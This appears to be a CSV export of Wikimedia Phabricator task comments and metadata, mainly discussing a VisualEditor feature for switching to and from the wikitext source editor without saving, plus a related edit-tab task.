+* If there are changes, prompt the user (with the same OOUI message dialog we use in VE) whether to switch with or without their changes",High,80.0,1367087280,1446646641.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rrfiavqqnofzrlok2ea7,task_description,resolved,True,c1,1,True,True,False,-10,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+557934,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250965 merged by jenkins-bot:
+Target init: Add edit mode switch icons to VE and WE toolbars
+
+[[https://gerrit.wikimedia.org/r/250965]]",,,1446648058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+557919,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250965 had a related patch set uploaded (by Jforrester):
+Target init: Add edit mode switch icons to VE and WE toolbars
+
+[[https://gerrit.wikimedia.org/r/250965]]
+",,,1446646795,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+557914,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250939 merged by jenkins-bot:
+Target init: Add edit mode switch icons to VE and WE toolbars
+
+[[https://gerrit.wikimedia.org/r/250939]]",,,1446646490,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+557837,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"More prominent VE switcher:
+{F2913511}
+
+WikiEditor switcher (top right):
+{F2913515}",,,1446632107,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,122,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0
+557836,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250939 had a related patch set uploaded (by Esanders):
+Target init: Add edit mode switch icons to VE and WE toolbars
+
+[[https://gerrit.wikimedia.org/r/250939]]
+",,,1446631989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+556857,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 245593 merged by jenkins-bot:
+Allow switching from wikitext to VE
+
+[[https://gerrit.wikimedia.org/r/245593]]",,,1446506314,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+545374,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 245593 had a related patch set uploaded (by Alex Monk):
+[WIP][POC][DONOTMERGE] Allow switching from wikitext to VE
+
+[[https://gerrit.wikimedia.org/r/245593]]
+",,,1444684486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,119,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+485100,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,">>! In T49779#1172521, @Jdforrester-WMF wrote:
+>>>! In T49779#1172511, @Krenair wrote:
+>> We should talk to #Parsoid to work out what dependencies this has from them, if any
+> 
+> It's mostly a RESTbase dependency, at this point.
+
+Perhaps we should make a separate task for the RESTbase/Parsoid dependencies here.",,,1435777029,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,104,,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+455842,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This would be a great enhancement!,,,1431055639,,PHID-USER-p6hvqn5njgnxuagekh4b,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,96,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+436941,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,">>! In T49779#1172511, @Krenair wrote:
+> We should talk to #Parsoid to work out what dependencies this has from them, if any
+
+It's mostly a RESTbase dependency, at this point.",,,1427931868,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,91,,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+436940,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"We should talk to #Parsoid to work out what dependencies this has from them, if any",,,1427931774,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,91,,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+208787,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to Alex Monk from comment #17)
+> So with the resolution of bug 50687, this is effectively ""Provide a way for
+> the user to switch from the wikitext source editor to VisualEditor, keeping
+> changes but not saving"", right?
+
+Yes, as I understand it.  Adding that direction would then allow bidirectional switching.",,,1407181934,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,57,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+208780,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"So with the resolution of bug 50687, this is effectively ""Provide a way for the user to switch from the wikitext source editor to VisualEditor, keeping changes but not saving"", right? Or have I misunderstood?",,,1407032261,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+208775,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Sweedish Wikipedians including User:Jan Ainali and User:FrankieF are discussing/requesting an enhancement to VisualEditor here [1] and translate the thread as follows:
+
+""What we are missing is way to easily switch between wikitext and VE without saving or loosing stuff. Just like you can in Wordpress between the WYSIWYG and HTML editor."" 
+
+[1]
+https://sv.wikipedia.org/wiki/Wikipedia:VisualEditor/%C3%85terkoppling#Saknade_funktioner_i_Redig.l.C3.A4get",,,1381789003,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+208769,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #14)
+> (In reply to comment #13)
+> > (In reply to comment #12)
+> > > This functionality was requested back in December 2011 in bug 33124.
+> > 
+> > No? The diff view of the wikitext is not even a read-only view of the entire
+> > document's wikitext, let alone an editable one? Also, quickly editing the
+> > diff
+> > in a pop-over window is fundamentally different paradigm from having a proper
+> > wikitext editor available to all users at all times, and being able to switch
+> > back and forth, which is what this bug requests.
+> 
+> From what I remember about the feature which existed in the prototype which
+> motivated the request made on bug 33124, it actually displayed the entire
+> document's wikitext (not just the diff).
+
+Oh, yes, you are right. My apologies.
+
+This means that that bug is even further from ""this functionality"", however.",,,1381334205,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+208765,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #13)
+> (In reply to comment #12)
+> > This functionality was requested back in December 2011 in bug 33124.
+> 
+> No? The diff view of the wikitext is not even a read-only view of the entire
+> document's wikitext, let alone an editable one? Also, quickly editing the
+> diff
+> in a pop-over window is fundamentally different paradigm from having a proper
+> wikitext editor available to all users at all times, and being able to switch
+> back and forth, which is what this bug requests.
+
+From what I remember about the feature which existed in the prototype which motivated the request made on bug 33124, it actually displayed the entire document's wikitext (not just the diff).",,,1381333880,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,14,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+208762,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #12)
+> This functionality was requested back in December 2011 in bug 33124.
+
+No? The diff view of the wikitext is not even a read-only view of the entire document's wikitext, let alone an editable one? Also, quickly editing the diff in a pop-over window is fundamentally different paradigm from having a proper wikitext editor available to all users at all times, and being able to switch back and forth, which is what this bug requests.",,,1381329923,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1
+474276,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This functionality was requested back in December 2011 in bug T35124.,,,1434266616,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,101,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208759,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This functionality was requested back in December 2011 in bug 33124.,,,1381301841,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208756,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #10)
+> Im not immediately inclined to work on SE->VE, as that could facilitate
+> people
+> playing games with the wikitext in order to put dodgy entries into the
+> 'VisualEditor' tagged edit list, which would be impossible to debug.
+
+That could be mitigated with an editfilter or some other indication that an editor had used both modes. Whether such would be possible or desirable is another matter",,,1375211326,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+208753,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"I have built a script which switches from VE to SE.
+https://en.wikipedia.org/wiki/User:John_Vandenberg/switch_editor
+
+I havent looked at whether the API and VE codebase can support switching from SE back to VE, but it seems like JS could obtain rendered HTML (action=parse?) and load it into VE.
+
+Im not immediately inclined to work on SE->VE, as that could facilitate people playing games with the wikitext in order to put dodgy entries into the 'VisualEditor' tagged edit list, which would be impossible to debug.",,,1374296995,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+208749,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,*** Bug 50698 has been marked as a duplicate of this bug. ***,,,1373855340,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+208743,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #7)
+> See also:
+> * [[Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]
+
+Helder. I corrected the link (I hope):
+* [[mw:Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]
+
+See: [[WP:Bugzilla]] and the section currently titled ""Links from within Bugzilla"".
+
+Hey Helder. Maybe you can develop a preview mode for Bugzilla? :) Bugzilla needs a ""preview"" mode:
+*https://bugzilla.mozilla.org/show_bug.cgi?id=40896",,,1372983348,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,0,1
+208736,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"See also:
+* [[Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]
+* Old demo with side-by-side view:
+http://blog.wikimedia.org/2011/12/13/help-test-the-first-visual-editor-developer-prototype/visual-editor-demo-2/",,,1372878442,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1
+208729,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,Adding 'source' to subject line to make this easier to search.,,,1372787226,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0
+208722,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,*** Bug 49986 has been marked as a duplicate of this bug. ***,,,1371855868,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+208716,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"**winne2i** wrote:
+
+I'm asking again if this is very difficult to achieve this by adding (even temporarily!) a regular Preview button, which will allow us to see the source code of already changed content? As I said before we can already see diffs so seeing a preview should be quite easy IMO.
+
+As far as refs are concerned – I agree that's very important. But let me notice that introducing such Preview button would allow to add references in that later step (editing the source code). That would be a great instant (but somewhat temporary) solution for both problems. Then one may work on pretty way of adding refs.
+
+Doesn't it sound good? :)",,,1371556666,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,False,,,-2,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+208709,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #2)
+> Just pointing out that this is very frequently requested by enwiki users at
+> [[Wikipedia:VisualEditor/Feedback]]. 
+> 
+> I know bug priority is technically up to the developers, but just letting you
+> know that a lot of people want this.
+
+We understand, and I really want to be able to provide this, but in the choice between this and being able to add references (say) we have to prioritise. However, I'm going to see if we can try to get it done in the next few weeks. Sorry for not being able to make a firm commitment.",,,1371521807,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+208701,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Just pointing out that this is very frequently requested by enwiki users at [[Wikipedia:VisualEditor/Feedback]]. 
+
+I know bug priority is technically up to the developers, but just letting you know that a lot of people want this.",,,1371521045,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,False,,,-2,,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+208695,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"**winne2i** wrote:
+
+To me that doesn't seem to be compliacted to acheive. The way could be to add a button which opens regular Preview (with wikitext editing).
+We already can see the diff, so adding regular preview should not be difficult.
+
+And this can be a big convenience because it's easier to edit in VE but we still can't edit/insert some elements like templates.",,,1369048522,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,1,False,,,-6,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+49776,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Right now you get | Edit | Edit source | on read and on VE edit (which are the same thing) but nowhere else, which is confusing.
+
+(Whilst we're at it, logs, diff view pages, and probably a few dozen others have edit links which will need to be replaced or augmented.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367086560,1367860149.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_description,resolved,True,c1,1,True,False,True,-10,,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+208529,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …",This was fixed by Ed in his commit last week.,,,1367860149,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+208523,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Once we're deployed for all users, we could simply replace the ""Edit"" message with ""Edit source"" in core which would manage the first half; we'd still need to add the (VE) ""Edit"" tab to these extra places (and the other stuff like ""(edit)"" links in diff views).",,,1367097655,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+208517,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Setting ""High"" for action=edit; the others can be fixed, I guess.",,,1367086643,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+49759,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"In [[en:User:Yamaha5/sandbox]] I tested it for Farsi every thing was OK except <div dir=""rtl""><div> which cause the test disable. in fa.wiki because of mixture of farsi and english or LTR Math formulas we use direction inside the text so it will cause problem for RTL languages
+
+--------------------------
+**Version**: unspecified
